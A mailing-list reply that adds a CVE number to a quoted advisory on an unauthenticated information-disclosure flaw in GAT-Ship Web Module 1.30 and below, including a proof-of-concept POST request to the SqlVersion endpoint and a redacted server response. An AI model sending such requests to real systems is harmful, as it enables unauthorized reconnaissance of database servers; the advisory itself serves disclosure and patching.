Re: GAT-Ship Web Module >1.30 - Unauthenticated Information Disclosure Vulnerability

[<gionreale () tutanota com>]

CVE-2019-12163.

> GAT-Ship Web Module >1.30 - Unauthenticated Information Disclosure Vulnerability
>
>
> It is possible in versions 1.30 and below for unauthenticated attackers to query the GAT-Ship Web Module for system 
> information via a crafted request:
>
> PoC:
> ---------------------------------------------------------------------------------------------------------------------------------------
>
> POST /ws/> gatshipWs.asmx/SqlVersion <http://gatshipWs.asmx/SqlVersion>>  HTTP/1.1
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
> Accept: application/json, text/javascript, */*; q=0.01
> Accept-Language: en-US,en;q=0.5
> Accept-Encoding: gzip, deflate
> Content-Type: application/json; charset=utf-8
> X-Requested-With: XMLHttpRequest>  
> Content-Length: 2
> DNT: 1
> Connection: close
>
> {}
>
> --------------------------------------------------------------------------------------------------------------------------------------------------
>
>
>
>
> HTTP/1.1 200 OK
> Cache-Control: private, max-age=0
> Content-Type: application/json; charset=utf-8
> Server: Microsoft-IIS/X.X
> X-AspNet-Version: X.X.XXXXX
> X-Powered-By: ASP.NET
> Date: Mon, XX XXX 20XX 06:55:31 GMT
> Connection: close
> Content-Length: 310
>
> {"d":{"__type":"webModule.ws.gatshipWs+ResponsObject","ResponsType":0,"MessageText":null,"Data":"Microsoft SQL Server 
> 20XX (SPX) - XX.X.XXXX.X (X64) \n\tDec 28 20XX 20:23:12 \n\tCopyright (c) Microsoft Corporation\n\tStandard Edition 
> (64-bit) on Windows XX XX \u003cX64\u003e (Build XXXX: Service Pack X)\n"}}
>
> ===================================================================================
>
> Values in PoC removed for security reasons.
>
>
> Disclosed: > 16 Jul 2018
>
> Fix: Upgrade to current version.
>
>
> Discovered by Gionathan Armando Reale


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